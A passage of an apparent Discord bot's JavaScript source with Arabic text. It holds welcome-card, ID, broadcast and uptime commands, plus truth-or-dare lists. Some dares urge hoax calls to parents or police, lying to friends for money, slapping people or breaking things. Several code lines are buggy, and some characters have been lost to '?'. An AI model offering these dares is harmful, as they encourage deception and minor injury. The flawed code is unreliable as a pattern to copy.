  6740. if(welcome[message.guild.id].dm === 'On') return [message.channel.send(`**The Welcome Dm Is __??????__ !**`), welcome[message.guild.id].dm = 'Off']
  6741. fs.writeFile("./welcome.json", JSON.stringify(welcome), (err) => {
  6742. if (err) console.error(err)
  6743. .catch(err => {
  6744. console.error(err);
  6745. });
  6746. })
  6747. }
  6748.  
  6749. })
  6750.  
  6751. client.on('message', message => {
  6752.  
  6753. if(message.content.startsWith(prefix + "toggleInvitedby")) {
  6754. if(!message.channel.guild) return message.reply('**This Command Only For Servers**');
  6755. if(!message.member.hasPermission('MANAGE_GUILD')) return message.channel.send('**Sorry But You Dont Have Permission** `MANAGE_GUILD`' );
  6756. if(!welcome[message.guild.id]) welcome[message.guild.id] = {
  6757. by: 'Off'
  6758. }
  6759. if(welcome[message.guild.id].by === 'Off') return [message.channel.send(`**The Invited By Is __????__ !**`), welcome[message.guild.id].by = 'On']
  6760. if(welcome[message.guild.id].by === 'On') return [message.channel.send(`**The Invited By Is __??????__ !**`), welcome[message.guild.id].by = 'Off']
  6761. fs.writeFile("./welcome.json", JSON.stringify(welcome), (err) => {
  6762. if (err) console.error(err)
  6763. .catch(err => {
  6764. console.error(err);
  6765. });
  6766. })
  6767. }
  6768.  
  6769. })
  6770.  
  6771.  
  6772. client.on("guildMemberAdd", member => {
  6773. if(!welcome[member.guild.id]) welcome[member.guild.id] = {
  6774. onoff: 'Off'
  6775. }
  6776. if(welcome[member.guild.id].onoff === 'Off') return;
  6777. let welcomer = member.guild.channels.find('name', `${welcome[member.guild.id].channel}`)
  6778. let memberavatar = member.user.avatarURL
  6779. if (!welcomer) return;
  6780. if(welcomer) {
  6781. moment.locale('ar-ly');
  6782. var h = member.user;
  6783. let heroo = new Discord.RichEmbed()
  6784. .setColor('RANDOM')
  6785. .setThumbnail(h.avatarURL)
  6786. .setAuthor(h.username,h.avatarURL)
  6787. .addField(': تاريخ دخولك الدسكورد',`${moment(member.user.createdAt).format('D/M/YYYY h:mm a')} **\n** \`${moment(member.user.createdAt).fromNow()}\``,true)
  6788. .setFooter(`${h.tag}`,"https://images-ext-2.discordapp.net/external/JpyzxW2wMRG2874gSTdNTpC_q9AHl8x8V4SMmtRtlVk/https/orcid.org/sites/default/files/files/ID_symbol_B-W_128x128.gif")
  6789. welcomer.send({embed:heroo});
  6790. }})
  6791.  
  6792.  
  6793. client.on('guildMemberAdd',async member => {
  6794. if(!welcome[member.guild.id]) welcome[member.guild.id] = {
  6795. onoff: 'Off'
  6796. }
  6797. if(welcome[member.guild.id].onoff === 'Off') return;
  6798. const Canvas = require('canvas');
  6799. const jimp = require('jimp');
  6800. const w = ['./welcome_4.png'];
  6801. let Image = Canvas.Image,
  6802. canvas = new Canvas(800, 300),
  6803. ctx = canvas.getContext('2d');
  6804. ctx.patternQuality = 'bilinear';
  6805. ctx.filter = 'bilinear';
  6806. ctx.antialias = 'subpixel';
  6807. ctx.shadowColor = 'rgba(0, 0, 0, 0.4)';
  6808. ctx.shadowOffsetY = 2;
  6809. ctx.shadowBlur = 2;
  6810. ctx.stroke();
  6811. ctx.beginPath();
  6812.  
  6813. fs.readFile(`${w[Math.floor(Math.random() * w.length)]}`, function (err, Background) {
  6814. if (err) return console.log(err);
  6815. let BG = Canvas.Image;
  6816. let ground = new Image;
  6817. ground.src = Background;
  6818. ctx.drawImage(ground, 0, 0, 800, 300);
  6819.  
  6820. })
  6821.  
  6822. let url = member.user.displayAvatarURL.endsWith(".webp") ? member.user.displayAvatarURL.slice(5, -20) + ".png" : member.user.displayAvatarURL;
  6823. jimp.read(url, (err, ava) => {
  6824. if (err) return console.log(err);
  6825. ava.getBuffer(jimp.MIME_PNG, (err, buf) => {
  6826. if (err) return console.log(err);
  6827.  
  6828. ctx.font = '36px Arial';
  6829. ctx.fontSize = '72px';
  6830. ctx.fillStyle = "#ffffff";
  6831. ctx.textAlign = "center";
  6832. ctx.fillText(member.user.username, 545, 177);
  6833.  
  6834. ctx.font = '16px Arial Bold';
  6835. ctx.fontSize = '72px';
  6836. ctx.fillStyle = "#ffffff";
  6837. ctx.textAlign = "center";
  6838. ctx.fillText(`Your The Member ${member.guild.memberCount}`, 580, 200);
  6839.  
  6840. let Avatar = Canvas.Image;
  6841. let ava = new Avatar;
  6842. ava.src = buf;
  6843. ctx.beginPath();
  6844. ctx.arc(169.5, 148, 126.9, -100, Math.PI * 2, true);
  6845. ctx.closePath();
  6846. ctx.clip();
  6847. ctx.drawImage(ava, 36, 21, 260, 260);
  6848.  
  6849. let c = member.guild.channels.find('name', `${welcome[member.guild.id].channel}`)
  6850. if(!c) return;
  6851. c.sendFile(canvas.toBuffer());
  6852.  
  6853. });
  6854. });
  6855. });
  6856.  
  6857. const invites = {};
  6858.  
  6859. const wait = require('util').promisify(setTimeout);
  6860.  
  6861. client.on('ready', () => {
  6862. wait(1000);
  6863.  
  6864. client.guilds.forEach(g => {
  6865. g.fetchInvites().then(guildInvites => {
  6866. invites[g.id] = guildInvites;
  6867. });
  6868. });
  6869. });
  6870.  
  6871. client.on('guildMemberAdd', member => {
  6872. if(!welcome[member.guild.id]) welcome[member.guild.id] = {
  6873. by: 'Off'
  6874. }
  6875. if(welcome[member.guild.id].by === 'Off') return;
  6876. member.guild.fetchInvites().then(guildInvites => {
  6877. const ei = invites[member.guild.id];
  6878. invites[member.guild.id] = guildInvites;
  6879. const invite = guildInvites.find(i => ei.get(i.code).uses < i.uses);
  6880. const inviter = client.users.get(invite.inviter.id);
  6881. const logChannel = member.guild.channels.find(channel => channel.name === `${welcome[member.guild.id].channel}`);
  6882. if(!logChannel) return;
  6883. setTimeout(() => {
  6884. logChannel.send(`Invited By: <@${inviter.id}>`);
  6885. },2000)
  6886. });
  6887. });
  6888.  
  6889. client.on("guildMemberAdd", member => {
  6890. if(!welcome[member.guild.id]) welcome[member.guild.id] = {
  6891. dm: 'Off'
  6892. }
  6893. if(welcome[member.guild.id].dm === 'Off') return;
  6894. member.createDM().then(function (channel) {
  6895. return channel.send(`:rose: ولكم نورت السيرفر:rose:
  6896. :crown:اسم العضو ${member}:crown:
  6897. انت العضو رقم ${member.guild.memberCount} `)
  6898. }).catch(console.error)
  6899. })
  6900.  
  6901.  
  6902. client.on('message', message => {
  6903.  
  6904. if(message.content.split(' ')[0] == prefix + 'id') {
  6905. if(!message.channel.guild) return;
  6906.  
  6907. let args = message.content.split(' ').slice(1).join(' ');
  6908.  
  6909. let defineduser = '';
  6910. if (!args[1]) {
  6911. defineduser = message.author;
  6912. } else { // Run this if they did define someone...
  6913. let firstMentioned = message.mentions.users.first();
  6914. defineduser = firstMentioned;
  6915. }
  6916.  
  6917. const w = ['./id5.png','./id6.png'];
  6918. var Canvas = require('canvas')
  6919. var jimp = require('jimp')
  6920.  
  6921. const millis = new Date().getTime() - defineduser.createdAt.getTime();
  6922. const now = new Date();
  6923. dateFormat(now, 'dddd, mmmm dS, yyyy');
  6924. const stats2 = ['online', 'Low', 'Medium', 'Insane'];
  6925. const days = millis / 1000 / 60 / 60 / 24;
  6926. dateFormat(now, 'dddd, mmmm dS, yyyy');
  6927. let time = `${dateFormat(defineduser.createdAt)}`
  6928. var heg;
  6929. if(men) {
  6930. heg = men
  6931. } else {
  6932. heg = message.author
  6933. }
  6934. var mentionned = message.mentions.members.first();
  6935. var h;
  6936. if(mentionned) {
  6937. h = mentionned
  6938. } else {
  6939. h = message.member
  6940. }
  6941. let Image = Canvas.Image,
  6942. canvas = new Canvas(300, 300),
  6943. ctx = canvas.getContext('2d');
  6944. ctx.patternQuality = 'bilinear';
  6945. ctx.filter = 'bilinear';
  6946. ctx.antialias = 'subpixel';
  6947.  
  6948. fs.readFile(`${w[Math.floor(Math.random() * w.length)]}`, function (err, Background) {
  6949. if (err) return console.log(err);
  6950. let BG = Canvas.Image;
  6951. let ground = new Image;
  6952. ground.src = Background;
  6953. ctx.drawImage(ground, 0, 0, 300, 300);
  6954.  
  6955. })
  6956. var mentionned = message.mentions.users.first();
  6957.  
  6958. var client;
  6959. if(mentionned){
  6960. var client = mentionned;
  6961. } else {
  6962. var client = message.author;
  6963.  
  6964. }
  6965.  
  6966. var men = message.mentions.users.first();
  6967. var heg;
  6968. if(men) {
  6969. heg = men
  6970. } else {
  6971. heg = message.author
  6972. }
  6973. let url = defineduser.displayAvatarURL.endsWith(".webp") ? defineduser.displayAvatarURL.slice(20, 20) + ".png" : defineduser.displayAvatarURL;
  6974. jimp.read(url, (err, ava) => {
  6975. if (err) return console.log(err);
  6976. ava.getBuffer(jimp.MIME_PNG, (err, buf) => {
  6977. if (err) return console.log(err);
  6978.  
  6979. let Avatar = Canvas.Image;
  6980. let ava = new Avatar;
  6981. ava.src = buf;
  6982. ctx.drawImage(ava, 112 , 40, 75, 75);
  6983.  
  6984. var status;
  6985. if (defineduser.presence.status === 'online') {
  6986. status = 'ONLINE';
  6987. ctx.fillStyle = `#2ce032`;
  6988. ctx.beginPath();
  6989. ctx.arc(179, 107, 10, 0, Math.PI*2, true);
  6990. ctx.closePath();
  6991. ctx.fill();
  6992.  
  6993. } else if (defineduser.presence.status === 'dnd') {
  6994. status = 'DND';
  6995. ctx.fillStyle = `#ff0000`;
  6996. ctx.beginPath();
  6997. ctx.arc(179, 107, 8, 0, Math.PI*2, true);
  6998. ctx.closePath();
  6999. ctx.fill();
  7000. } else if (defineduser.presence.status === 'idle') {
  7001. status = 'IDLE';
  7002. ctx.fillStyle = `#f4d32e`;
  7003. ctx.beginPath();
  7004. ctx.arc(179, 107, 10, 0, Math.PI*2, true);
  7005. ctx.closePath();
  7006. ctx.fill();
  7007. } else if (defineduser.presence.status === 'offline') {
  7008. status = 'INVISIABLE';
  7009. ctx.fillStyle = `#898988`;
  7010. ctx.beginPath();
  7011. ctx.arc(179, 107, 10, 0, Math.PI*2, true);
  7012. ctx.closePath();
  7013. ctx.fill();
  7014. }
  7015.  
  7016.  
  7017. var time2;
  7018. if(mentionned){
  7019. var time2 = `${dateFormat(message.mentions.users.first.joinedAt)}`;
  7020. } else {
  7021. var time2 = `${dateFormat(message.member.joinedAt)}`;
  7022.  
  7023. }
  7024.  
  7025. ctx.font = 'Bold 15px Arial ';
  7026. ctx.fontSize = '15px';
  7027. ctx.fillStyle = "#ffffff";
  7028. ctx.textAlign = "center";
  7029. ctx.fillText(status, 70 , 108 );
  7030.  
  7031. ctx.font = 'Bold 13px Arial';
  7032. ctx.fontSize = '13px';
  7033. ctx.fillStyle = "#ffffff";
  7034. ctx.textAlign = "center";
  7035. ctx.fillText(`${message.author.presence.game === null ? "No Status" : message.author.presence.game.name}`, 150.00 , 180 );
  7036.  
  7037.  
  7038. ctx.font = 'Bold 20px Arial ';
  7039. ctx.fontSize = '15px';
  7040. ctx.fillStyle = "#ffffff";
  7041. ctx.textAlign = "center";
  7042. ctx.fillText(`${defineduser.username}`, 150.50 , 140);
  7043.  
  7044.  
  7045. ctx.font = 'Bold 15px Arial';
  7046. ctx.fontSize = '15px';
  7047. ctx.fillStyle = "#ffffff";
  7048. ctx.textAlign = "center";
  7049. ctx.fillText(`#${defineduser.discriminator}`, 227 , 108);
  7050.  
  7051. var time2;
  7052. if(mentionned){
  7053. var time2 = `${dateFormat(message.mentions.users.first.joinedAt)}`;
  7054. } else {
  7055. var time2 = `${dateFormat(message.member.joinedAt)}`;
  7056.  
  7057. }
  7058.  
  7059. ctx.font = 'Bold 13px Arial ';
  7060. ctx.fontSize = '13px';
  7061. ctx.fillStyle = "#ffffff";
  7062. ctx.textAlign = "center";
  7063. ctx.fillText(`${moment(defineduser.createdTimestamp).fromNow()}`, 179 , 226 );
  7064. ctx.font = 'Bold 13px Arial ';
  7065. ctx.fontSize = '13px';
  7066. ctx.fillStyle = "#ffffff";
  7067. ctx.textAlign = "center";
  7068. ctx.fillText(`${moment(h.joinedAt).format('YYYY/M/D HH:mm:ss')}`, 179 , 253);
  7069.  
  7070. message.channel.sendFile(canvas.toBuffer())
  7071.  
  7072.  
  7073. })
  7074. })
  7075.  
  7076.  
  7077.  
  7078.  
  7079. }
  7080.  
  7081. })
  7082.  
  7083.  
  7084. client.on("message", msg => {
  7085. var prefix = ">";
  7086. if(msg.content.startsWith (prefix + "id")) {
  7087. if(!msg.channel.guild) return msg.reply('**:x: اسف لكن هذا الامر للسيرفرات فقط **');
  7088. const embed = new Discord.RichEmbed();
  7089. embed.addField(":cloud_tornado: الاسم", `**[ ${msg.author.username}#${msg.author.discriminator} ]**`, true)
  7090. .addField(":id: الايدي", `**[ ${msg.author.id} ]**`, true)
  7091. .setColor("RANDOM")
  7092. .setFooter(msg.author.username , msg.author.avatarURL)
  7093. .setThumbnail(`${msg.author.avatarURL}`)
  7094. .setTimestamp()
  7095. .setURL(`${msg.author.avatarURL}`)
  7096. .addField(':spy: الحالة', `**[ ${msg.author.presence.status.toUpperCase()} ]**`, true)
  7097. .addField(':satellite_orbital: يلعب', `**[ ${msg.author.presence.game === null ? "No Game" : msg.author.presence.game.name} ]**`, true)
  7098. .addField(':military_medal: الرتب', `**[ ${msg.member.roles.filter(r => r.name).size} ]**`, true)
  7099. .addField(':robot: هل هو بوت', `**[ ${msg.author.bot.toString().toUpperCase()} ]**`, true);
  7100. msg.channel.send({embed: embed})
  7101. }
  7102. });
  7103. client.on('message', message => {
  7104. if (message.content.startsWith(prefix + "user")) {
  7105. var args = message.content.split(" ").slice(1);
  7106. let user = message.mentions.users.first();
  7107. var men = message.mentions.users.first();
  7108. var heg;
  7109. if(men) {
  7110. heg = men
  7111. } else {
  7112. heg = message.author
  7113. }
  7114. var mentionned = message.mentions.members.first();
  7115. var h;
  7116. if(mentionned) {
  7117. h = mentionned
  7118. } else {
  7119. h = message.member
  7120. }
  7121. moment.locale('ar-TN');
  7122. var id = new Discord.RichEmbed()
  7123. .setAuthor(message.author.username, message.author.avatarURL)
  7124. .setColor("#707070")
  7125. .addField(': دخولك لديسكورد قبل', `${moment(heg.createdTimestamp).format('YYYY/M/D HH:mm:ss')} **\n** \`${moment(heg.createdTimestamp).fromNow()}\`` ,true)
  7126. .addField(': انضمامك لسيرفر قبل', `${moment(h.joinedAt).format('YYYY/M/D HH:mm:ss')} \n \`${moment(h.joinedAt).fromNow()}\``, true)
  7127. .setFooter(`?????????? ??????`, 'https://images-ext-2.discordapp.net/external/JpyzxW2wMRG2874gSTdNTpC_q9AHl8x8V4SMmtRtlVk/https/orcid.org/sites/default/files/files/ID_symbol_B-W_128x128.gif')
  7128. .setThumbnail(heg.avatarURL);
  7129. message.channel.send(id)
  7130. } });
  7131.  
  7132.  
  7133.  
  7134. client.on('message', message => {
  7135. if(!message.channel.guild) return;
  7136. if(message.content.startsWith('>bc')) {
  7137. if(!message.channel.guild) return message.channel.send('**هذا الأمر فقط للسيرفرات**').then(m => m.delete(5000));
  7138. if(!message.member.hasPermission('ADMINISTRATOR')) return message.channel.send('**للأسف لا تمتلك صلاحية** `ADMINISTRATOR`' );
  7139. let args = message.content.split(" ").join(" ").slice(2 + prefix.length);
  7140. let copy = "?????????? ??????";
  7141. let request = `Requested By ${message.author.username}`;
  7142. if (!args) return message.reply('**يجب عليك كتابة كلمة او جملة لإرسال البرودكاست**');message.channel.send(`**هل أنت متأكد من إرسالك البرودكاست؟ \nمحتوى البرودكاست:** \` ${args}\``).then(msg => {
  7143. msg.react('?')
  7144. .then(() => msg.react('?'))
  7145. .then(() =>msg.react('?'))
  7146.  
  7147. let reaction1Filter = (reaction, user) => reaction.emoji.name === '?' && user.id === message.author.id;
  7148. let reaction2Filter = (reaction, user) => reaction.emoji.name === '?' && user.id === message.author.id;
  7149. let reaction1 = msg.createReactionCollector(reaction1Filter, { time: 12000 });
  7150. let reaction2 = msg.createReactionCollector(reaction2Filter, { time: 12000 });
  7151. reaction1.on("collect", r => {
  7152. message.channel.send(`? | ${message.guild.members.size} يتم ارسال البرودكاست الى عضو `).then(m => m.delete(5000));
  7153. message.guild.members.forEach(m => {
  7154. var bc = new
  7155. Discord.RichEmbed()
  7156. .setColor('RANDOM')
  7157. .setTitle(':mega: برودكاست')
  7158. .addField('??السيرفر??', message.guild.name)
  7159. .addField('??المرسل??', message.author.username)
  7160. .addField('??الرسالة??', args)
  7161. .setThumbnail('https://a.top4top.net/p_1008gqyyd1.png')
  7162. .setFooter(copy, client.user.avatarURL);
  7163. m.send({ embed: bc })
  7164. msg.delete();
  7165. })
  7166. })
  7167. reaction2.on("collect", r => {
  7168. message.channel.send(`**Broadcast Canceled.**`).then(m => m.delete(5000));
  7169. msg.delete();
  7170. })
  7171. })
  7172. }
  7173. })
  7174.  
  7175.  
  7176.  
  7177. client.on('message', message => {
  7178. if(message.content.startsWith(`${prefix}invite`)){
  7179. if(!message.channel.guild) return message.channel.send("This Command is Just For Servers!")
  7180. var embed = new Discord.RichEmbed()
  7181. .setTitle(">> ClickHere To Add" + `${client.user.username}` + " <<")
  7182. .setURL("https://discordapp.com/oauth2/authorize?client_id=" + `${client.user.id}` + "&scope=bot&permissions=2080374975")
  7183. .setTimestamp()
  7184. .setFooter(`Requested By | ${message.author.username}`)
  7185. .setColor("RANDOM")
  7186. message.channel.send(":white_check_mark: | Check Your DM! تم الأرسال بلخاص")
  7187. message.author.send({embed})
  7188. }
  7189. });
  7190.  
  7191. ;
  7192.  
  7193.  
  7194.  
  7195.  
  7196.  
  7197.  
  7198.  
  7199.  
  7200.  
  7201. client.on('message', msg => {
  7202. if (msg.content === `${prefix}ownerbot`) {
  7203. msg.reply('**OwnerBot <@429972030092476437>**');
  7204. }
  7205. });
  7206.  
  7207.  
  7208.  
  7209.  
  7210.  
  7211. client.on('message', message => {
  7212. var prefix = "="
  7213. if (message.author.bot) return;
  7214. if (message.content.startsWith(prefix + "uptime")) {
  7215. let uptime = client.uptime;
  7216.  
  7217. let days = 0;
  7218. let hours = 0;
  7219. let minutes = 0;
  7220. let seconds = 0;
  7221. let notCompleted = true;
  7222.  
  7223. while (notCompleted) {
  7224.  
  7225. if (uptime >= 8.64e+7) {
  7226.  
  7227. days++;
  7228. uptime -= 8.64e+7;
  7229.  
  7230. } else if (uptime >= 3.6e+6) {
  7231.  
  7232. hours++;
  7233. uptime -= 3.6e+6;
  7234.  
  7235. } else if (uptime >= 60000) {
  7236.  
  7237. minutes++;
  7238. uptime -= 60000;
  7239.  
  7240. } else if (uptime >= 1000) {
  7241. seconds++;
  7242. uptime -= 1000;
  7243.  
  7244. }
  7245.  
  7246. if (uptime < 1000) notCompleted = false;
  7247.  
  7248. }
  7249.  
  7250. message.channel.send("`" + `${days} days, ${hours} hrs, ${minutes} , ${seconds} sec` + "`");
  7251.  
  7252.  
  7253. }
  7254. });
  7255.  
  7256.  
  7257.  
  7258.  
  7259. client.on('message', message => {
  7260. if (message.content === ">servers") {
  7261. if(!message.channel.guild) return;
  7262. let embed = new Discord.RichEmbed()
  7263. .setColor("RANDOM")
  7264. .addField("**Servers: **" , client.guilds.size)
  7265. message.channel.sendEmbed(embed);
  7266. }
  7267. });
  7268.  
  7269. var cats = [
  7270.  
  7271. "https://static.pexels.com/photos/104827/cat-pet-animal-domestic-104827.jpeg",
  7272. "https://www.petfinder.com/wp-content/uploads/2012/11/101438745-cat-conjunctivitis-causes.jpg",
  7273. "http://www.i-love-cats.com/images/2015/04/12/cat-wallpaper-38.jpg",
  7274. "https://www.aspca.org/sites/default/files/cat-care_urine-marking_main-image.jpg",
  7275. "https://vignette1.wikia.nocookie.net/houseofnight/images/8/8b/Cats.jpg/revision/latest?cb=20130812053537",
  7276. "https://s-media-cache-ak0.pinimg.com/originals/f0/3b/76/f03b7614dfadbbe4c2e8f88b69d12e04.jpg",
  7277. "http://www.rd.com/wp-content/uploads/sites/2/2016/04/15-cat-wants-to-tell-you-attention.jpg"
  7278. ]
  7279. client.on('message', message => {
  7280. var args = message.content.split(" ").slice(1);
  7281. if(message.content.startsWith(prefix + 'cat')) {
  7282. var cat = new Discord.RichEmbed()
  7283. .setImage(cats[Math.floor(Math.random() * cats.length)])
  7284. message.channel.sendEmbed(cat);
  7285. }
  7286. });
  7287.  
  7288.  
  7289. client.on('message', message => {
  7290. if (message.content === ">roles") {
  7291. if(!message.channel.guild) return;
  7292. var roles = message.guild.roles.map(roles => `${roles.name}, `).join(' ')
  7293. const embed = new Discord.RichEmbed()
  7294. .setColor('RANDOM')
  7295. .addField('Roles:',`**[${roles}]**`)
  7296. message.channel.sendEmbed(embed);
  7297. }
  7298. });
  7299.  
  7300.  
  7301.  
  7302.  
  7303.  
  7304.  
  7305. const Sra7a = [
  7306. 'صراحه | صوتك حلوة؟',
  7307. 'صراحه | التقيت الناس مع وجوهين؟',
  7308. 'صراحه | شيء وكنت تحقق اللسان؟',
  7309. 'صراحه | أنا شخص ضعيف عندما؟',
  7310. 'صراحه | هل ترغب في إظهار حبك ومرفق لشخص أو رؤية هذا الضعف؟',
  7311. 'صراحه | يدل على أن الكذب مرات تكون ضرورية شي؟',
  7312. 'صراحه | أشعر بالوحدة على الرغم من أنني تحيط بك كثيرا؟',
  7313. 'صراحه | كيفية الكشف عن من يكمن عليك؟',
  7314. 'صراحه | إذا حاول شخص ما أن يكرهه أن يقترب منك ويهتم بك تعطيه فرصة؟',
  7315. 'صراحه | أشجع شيء حلو في حياتك؟',
  7316. 'صراحه | طريقة جيدة يقنع حتى لو كانت الفكرة خاطئة" توافق؟',
  7317. 'صراحه | كيف تتصرف مع من يسيئون فهمك ويأخذ على ذهنه ثم ينتظر أن يرفض؟',
  7318. 'صراحه | التغيير العادي عندما يكون الشخص الذي يحبه؟',
  7319. 'صراحه | المواقف الصعبة تضعف لك ولا ترفع؟',
  7320. 'صراحه | نظرة و يفسد الصداقة؟',
  7321. 'صراحه | ‏‏إذا أحد قالك كلام سيء بالغالب وش تكون ردة فعلك؟',
  7322. 'صراحه | شخص معك بالحلوه والمُره؟',
  7323. 'صراحه | ‏هل تحب إظهار حبك وتعلقك بالشخص أم ترى ذلك ضعف؟',
  7324. 'صراحه | تأخذ بكلام اللي ينصحك ولا تسوي اللي تبي؟',
  7325. 'صراحه | وش تتمنى الناس تعرف عليك؟',
  7326. 'صراحه | ابيع المجرة عشان؟',
  7327. 'صراحه | أحيانا احس ان الناس ، كمل؟',
  7328. 'صراحه | مع مين ودك تنام اليوم؟',
  7329. 'صراحه | صدفة العمر الحلوة هي اني؟',
  7330. 'صراحه | الكُره العظيم دايم يجي بعد حُب قوي " تتفق؟',
  7331. 'صراحه | صفة تحبها في نفسك؟',
  7332. 'صراحه | ‏الفقر فقر العقول ليس الجيوب " ، تتفق؟',
  7333. 'صراحه | تصلي صلواتك الخمس كلها؟',
  7334. 'صراحه | ‏تجامل أحد على راحتك؟',
  7335. 'صراحه | اشجع شيء سويتة بحياتك؟',
  7336. 'صراحه | وش ناوي تسوي اليوم؟',
  7337. 'صراحه | وش شعورك لما تشوف المطر؟',
  7338. 'صراحه | غيرتك هاديه ولا تسوي مشاكل؟',
  7339. 'صراحه | ما اكثر شي ندمن عليه؟',
  7340. 'صراحه | اي الدول تتمنى ان تزورها؟',
  7341. 'صراحه | متى اخر مره بكيت؟',
  7342. 'صراحه | تقيم حظك ؟ من عشره؟',
  7343. 'صراحه | هل تعتقد ان حظك سيئ؟',
  7344. 'صراحه | شـخــص تتمنــي الإنتقــام منـــه؟',
  7345. 'صراحه | كلمة تود سماعها كل يوم؟',
  7346. 'صراحه | **هل تُتقن عملك أم تشعر بالممل؟',
  7347. 'صراحه | هل قمت بانتحال أحد الشخصيات لتكذب على من حولك؟',
  7348. 'صراحه | متى آخر مرة قمت بعمل مُشكلة كبيرة وتسببت في خسائر؟',
  7349. 'صراحه | ما هو اسوأ خبر سمعته بحياتك؟',
  7350. '‏صراحه | هل جرحت شخص تحبه من قبل ؟',
  7351. 'صراحه | ما هي العادة التي تُحب أن تبتعد عنها؟',
  7352. '‏صراحه | هل تحب عائلتك ام تكرههم؟',
  7353. '‏صراحه | من هو الشخص الذي يأتي في قلبك بعد الله – سبحانه وتعالى- ورسوله الكريم – صلى الله عليه وسلم؟',
  7354. '‏صراحه | هل خجلت من نفسك من قبل؟',
  7355. '‏صراحه | ما هو ا الحلم الذي لم تستطيع ان تحققه؟',
  7356. '‏صراحه | ما هو الشخص الذي تحلم به كل ليلة؟',
  7357. '‏صراحه | هل تعرضت إلى موقف مُحرج جعلك تكره صاحبهُ؟',
  7358. '‏صراحه | هل قمت بالبكاء أمام من تُحب؟',
  7359. '‏صراحه | ماذا تختار حبيبك أم صديقك؟',
  7360. '‏صراحه | هل حياتك سعيدة أم حزينة؟',
  7361. 'صراحه | ما هي أجمل سنة عشتها بحياتك؟',
  7362. '‏صراحه | ما هو عمرك الحقيقي؟',
  7363. '‏صراحه | ما اكثر شي ندمن عليه؟',
  7364. 'صراحه | ما هي أمنياتك المُستقبلية؟‏',
  7365. ]
  7366. client.on('message', message => {
  7367. if (message.content.startsWith('>صراحه')) {
  7368. if(!message.channel.guild) return message.reply('** This command only for servers **');
  7369. var client= new Discord.RichEmbed()
  7370. .setTitle("لعبة صراحة ..")
  7371. .setColor('RANDOM')
  7372. .setDescription(`${Sra7a[Math.floor(Math.random() * Sra7a.length)]}`)
  7373. .setImage("https://cdn.discordapp.com/attachments/371269161470525444/384103927060234242/125.png")
  7374. .setTimestamp()
  7375.  
  7376. message.channel.sendEmbed(client);
  7377. message.react("??")
  7378. }
  7379. });
  7380.  
  7381. const Za7f = [
  7382. "**صورة وجهك او رجلك او خشمك او يدك**.",
  7383. "**اصدر اي صوت يطلبه منك الاعبين**.",
  7384. "**سكر خشمك و قول كلمة من اختيار الاعبين الي معك**.",
  7385. "**روح الى اي قروب عندك في الواتس اب و اكتب اي شيء يطلبه منك الاعبين الحد الاقصى 3 رسائل**.",
  7386. "**قول نكتة اذا و لازم احد الاعبين يضحك اذا محد ضحك يعطونك ميوت الى ان يجي دورك مرة ثانية**.",
  7387. "**سمعنا صوتك و غن اي اغنية من اختيار الاعبين الي معك**.",
  7388. "**ذي المرة لك لا تعيدها**.",
  7389. "**ارمي جوالك على الارض بقوة و اذا انكسر صور الجوال و ارسله في الشات العام**.",
  7390. "**صور اي شيء يطلبه منك الاعبين**.",
  7391. "**اتصل على ابوك و قول له انك رحت مع بنت و احين هي حامل....**.",
  7392. "**سكر خشمك و قول كلمة من اختيار الاعبين الي معك**.",
  7393. "**سو مشهد تمثيلي عن مصرية بتولد**.",
  7394. "**اعطي اي احد جنبك كف اذا مافيه احد جنبك اعطي نفسك و نبي نسمع صوت الكف**.",
  7395. "**ذي المرة لك لا تعيدها**.",
  7396. "**ارمي جوالك على الارض بقوة و اذا انكسر صور الجوال و ارسله في الشات العام**.",
  7397. "**روح عند اي احد بالخاص و قول له انك تحبه و الخ**.",
  7398. "**اكتب في الشات اي شيء يطلبه منك الاعبين في الخاص**.",
  7399. "**قول نكتة اذا و لازم احد الاعبين يضحك اذا محد ضحك يعطونك ميوت الى ان يجي دورك مرة ثانية**.",
  7400. "**سامحتك خلاص مافيه عقاب لك :slight_smile:**.",
  7401. "**اتصل على احد من اخوياك خوياتك , و اطلب منهم مبلغ على اساس انك صدمت بسيارتك**.",
  7402. "**غير اسمك الى اسم من اختيار الاعبين الي معك**.",
  7403. "**اتصل على امك و قول لها انك تحبها :heart:**.",
  7404. "**لا يوجد سؤال لك سامحتك :slight_smile:**.",
  7405. "**قل لواحد ماتعرفه عطني كف**.",
  7406. "**منشن الجميع وقل انا اكرهكم**.",
  7407. "**اتصل لاخوك و قول له انك سويت حادث و الخ....**.",
  7408. "**روح المطبخ و اكسر صحن او كوب**.",
  7409. "**اعطي اي احد جنبك كف اذا مافيه احد جنبك اعطي نفسك و نبي نسمع صوت الكف**.",
  7410. "**قول لاي بنت موجود في الروم كلمة حلوه**.",
  7411. "**تكلم باللغة الانجليزية الين يجي دورك مرة ثانية لازم تتكلم اذا ما تكلمت تنفذ عقاب ثاني**.",
  7412. "**لا تتكلم ولا كلمة الين يجي دورك مرة ثانية و اذا تكلمت يجيك باند لمدة يوم كامل من السيرفر**.",
  7413. "**قول قصيدة **.",
  7414. "**تكلم باللهجة السودانية الين يجي دورك مرة ثانية**.",
  7415. "**اتصل على احد من اخوياك خوياتك , و اطلب منهم مبلغ على اساس انك صدمت بسيارتك**.",
  7416. "**اول واحد تشوفه عطه كف**.",
  7417. "**سو مشهد تمثيلي عن اي شيء يطلبه منك الاعبين**.",
  7418. "**سامحتك خلاص مافيه عقاب لك**.",
  7419. "**اتصل على ابوك و قول له انك رحت مع بنت و احين هي حامل....**.",
  7420. "**روح اكل ملح + ليمون اذا مافيه اكل اي شيء من اختيار الي معك**.",
  7421. "**تاخذ عقابين**.",
  7422. "**قول اسم امك افتخر بأسم امك**.",
  7423. "**ارمي اي شيء قدامك على اي احد موجود او على نفسك**.",
  7424. "**اذا انت ولد اكسر اغلى او احسن عطور عندك اذا انتي بنت اكسري الروج حقك او الميك اب حقك**.",
  7425. "**اذهب الى واحد ماتعرفه وقل له انا كيوت وابي بوسه**.",
  7426. "**تتصل على الوالده و تقول لها خطفت شخص**.",
  7427. "** تتصل على الوالده و تقول لها تزوجت با سر**.",
  7428. "**????تصل على الوالده و تقول لها احب وحده**.",
  7429. "**تتصل على شرطي تقول له عندكم مطافي**.",
  7430. "**خلاص سامحتك**.",
  7431. "** تصيح في الشارع انا مجنوون**.",
  7432. "** تروح عند شخص تقول له احبك**.",
  7433.  
  7434. ]
  7435.  
  7436.  
  7437. client.on('message', message => {
  7438. if (message.content.startsWith(">عقاب")) {
  7439. if(!message.channel.guild) return message.reply('** This command only for servers**');
  7440. var embed = new Discord.RichEmbed()
  7441. .setColor('RANDOM')
  7442. .setThumbnail(message.author.avatarURL)
  7443. .addField('?????????? ?????? ?' ,
